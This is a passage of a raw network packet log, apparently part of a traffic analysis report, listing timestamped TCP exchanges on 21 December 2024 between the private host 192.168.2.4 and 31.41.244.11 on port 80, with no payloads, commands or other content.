                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.009066105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.009076118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.051255941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.051278114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.051332951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.051332951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.120948076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.120971918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.121031046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.122886896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.122930050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.122942924 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.122967005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.127779961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.127829075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.129342079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.129393101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.129455090 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.129498005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.134442091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.134490013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.134548903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.134593010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.138741970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.138788939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.138855934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.138895988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.142802000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.142853975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.143106937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.143153906 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.147062063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.147111893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.147183895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.147227049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.151561975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.151608944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.151735067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.151782990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.156310081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.156332970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.156358957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.156375885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.160587072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.160635948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.160695076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.160737038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.165131092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.165164948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.165179014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.165219069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.165219069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.169806004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.169830084 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.169862986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.169873953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.174124956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.174216986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.174267054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.178622961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.178680897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.178771973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.178816080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.183129072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.183186054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.183240891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.183290005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.186676979 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.186727047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.186805964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.186851978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.190378904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.190402985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.190452099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.193953037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.193978071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.194030046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.197499990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.197524071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.197575092 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.201031923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.201056004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.201081991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.201112032 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.204541922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.204612970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.204663038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.208076954 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.208098888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.208142996 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.211663961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.211771965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.211833954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.215135098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.217611074 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.312567949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.312592030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.312649012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.313852072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.314414978 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.314466000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.314496994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.314541101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.317148924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.317472935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.317523003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.319955111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.320022106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.320072889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.322726011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.322801113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.322849035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.325447083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.325495005 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.325577974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.328047991 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.328066111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.328098059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.328119040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.330621004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.330751896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.330801964 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.333445072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.333498955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.333561897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.335730076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.335820913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.335841894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.335889101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.338162899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.338232040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.338253021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.338301897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.340523005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.340583086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.340631962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.340703964 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.342933893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.343157053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.343225002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.345321894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.345457077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.345525980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.348290920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.348365068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.348735094 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.348798037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.352035046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.352076054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.352097988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.352118969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.354512930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.354551077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.354599953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.356199026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.356262922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.356344938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.356395960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.359349966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.359386921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.359436035 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.360570908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.360626936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.360629082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.360676050 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.362750053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.362785101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.362824917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.362838030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.368619919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369102955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369142056 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369152069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369179010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369223118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369577885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369613886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.369659901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.371834993 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.371893883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.372081041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.372159958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.374284029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.374344110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.374402046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.374506950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.376630068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.376689911 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.376750946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.376970053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.379040003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.379096031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.379142046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.381486893 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.381578922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.381704092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.381829023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.383886099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.383939981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.383987904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.384035110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.386359930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.386821032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.386884928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.388812065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.388864040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.388915062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.388958931 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.391092062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.391148090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.391232967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.391464949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.397572041 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.397671938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.397991896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.398045063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.398050070 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.398085117 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.398101091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.398122072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.400279045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.400408983 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.400470018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.402054071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.402071953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.402110100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.402129889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.403086901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.403136969 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.403182030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.403419971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.507797003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.507823944 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.507879019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.507879019 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.508547068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.508599043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.508816004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.508861065 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.510437965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.510493040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.510588884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.510637999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.512425900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.512473106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.512598038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.512636900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.514296055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.514341116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.514386892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.514426947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.516118050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.516160011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.516242981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.516284943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.517965078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.518006086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.518050909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.518094063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.519805908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.519845963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.519874096 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.519911051 CET4976080192.168.2.431.41.244.11
